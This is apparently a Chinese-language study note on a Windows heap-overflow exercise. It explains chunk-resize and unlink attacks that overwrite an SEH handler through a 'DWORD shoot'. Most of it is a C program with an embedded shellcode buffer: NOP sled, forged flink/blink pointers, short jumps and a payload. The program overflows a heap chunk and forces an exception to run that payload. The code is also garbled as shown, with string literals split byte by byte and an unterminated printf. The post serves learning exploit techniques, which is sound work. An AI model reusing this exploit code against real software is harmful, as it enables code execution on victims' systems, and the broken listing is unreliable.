if __author__ ==
"lit0":
0x00 前言
转眼学习这本书已经到了第二篇末尾最后一章也是较难的一章,虽然没有碰到什么大问题,不合这个系列标题所说的问题解决方案,但还是写一些自己学习的一些理解,尤其是堆。很有趣啊! 记录一下关于堆的一些理解
0x01正文- 利用chunk重设大小攻击堆
1.原理 - safe unlink
微软对于堆双向链表的释放做了验证(验证释放时前后指针是否指向node而不是被破坏了) 然而并没有对插入进行验证~~,如果h1申请了大小为16的空间,那么堆就会分配空间,形成新的chunk(空闲块),并插入到链表里!!而h1的尾巴就会跟着大空闲块(不理解的看看操作系统),h1溢出(堆溢出)时,就会覆盖后面的空闲块,当块首被覆盖,地址也就被覆盖,这就给了我们机会
也就是说插入链表的过程中,会导致任意位置写入固定值的漏洞。
2.利用 - 通过dword shoot 向seh写入flink(把flink的地址写入seh),构造成0x003506EB, EB 06 正好是短跳地址,再制造异常,使程序转入执行短跳,在短跳的目的处构造短跳,跳过垃圾值,到达shellcode执行
1.eax 指向申请的h1的首部 0x00350688 2.执行完 00401050 处的 memcpy 函数后覆盖下一chunk(空闲块)的首地址,将其伪造成0x003506eb, 执行h2的申请就会将flink的地址写入seh。
已经替换成0x003506B8,一旦异常就会转入此地址,执行构造好的 EB 06 构造一个跳转目的地址为一个跳转地址,转入执行shellcode
3.shellcode 如下:
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode
[]=
"
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90"
"
\x10
\x01
\x10
\x00
\x99
\x99
\x99
\x99"
"
\xEB\x06
\x35
\x00
\xEB\x06
\x35
\x00" // 此为新chunk的flink 和 blink,覆盖为EB 06 短跳
"
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90"
"
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90"
"
\xEB\x31
\x90
\x90
\x90
\x90
\x90
\x90" //短跳,跳过下面代码,执行shellcode
"
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90"
"
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90"
"
\x11
\x01
\x10
\x00
\x99
\x99
\x99
\x99"
"
\x8C
\x06
\x35
\x00
\xB4
\xFF\x12
\x00" // blink 伪造成seh地址
// 下面是shellcode程序
"
\xFC\x68
\x6A
\x0A
\x38
\x1E
\x68
\x63
\x89
\xD1
\x4F
\x68
\x32
\x74
\x91
\x0C"
"
\x8B
\xF4
\x8D
\x7E
\xF4
\x33
\xDB\xB7
\x04
\x2B
\xE3
\x66
\xBB\x33
\x32
\x53"
"
\x68
\x75
\x73
\x65
\x72
\x54
\x33
\xD2
\x64
\x8B
\x5A
\x30
\x8B
\x4B
\x0C
\x8B"
"
\x49
\x1C
\x8B
\x09
\x8B
\x69
\x08
\xAD\x3D
\x6A
\x0A
\x38
\x1E
\x75
\x05
\x95"
"
\xFF\x57
\xF8
\x95
\x60
\x8B
\x45
\x3C
\x8B
\x4C
\x05
\x78
\x03
\xCD\x8B
\x59"
"
\x20
\x03
\xDD\x33
\xFF\x47
\x8B
\x34
\xBB\x03
\xF5
\x99
\x0F
\xBE\x06
\x3A"
"
\xC4
\x74
\x08
\xC1
\xCA\x07
\x03
\xD0
\x46
\xEB\xF1
\x3B
\x54
\x24
\x1C
\x75"
"
\xE4
\x8B
\x59
\x24
\x03
\xDD\x66
\x8B
\x3C
\x7B
\x8B
\x59
\x1C
\x03
\xDD\x03"
"
\x2C
\xBB\x95
\x5F
\xAB\x57
\x61
\x3D
\x6A
\x0A
\x38
\x1E
\x75
\xA9
\x33
\xDB"
"
\x53
\x68
\x77
\x65
\x73
\x74
\x68
\x66
\x61
\x69
\x6C
\x8B
\xC4
\x53
\x50
\x50"
"
\x53
\xFF\x57
\xFC\x53
\xFF\x57
\xF8";
HLOCAL h1,h2;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
__asm int 3
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
int zero=0;
zero=1/zero;
printf("
}
在此设置断点:
0x003506B8上的 003506EB
短跳至此处:
转入shellcode:
成功执行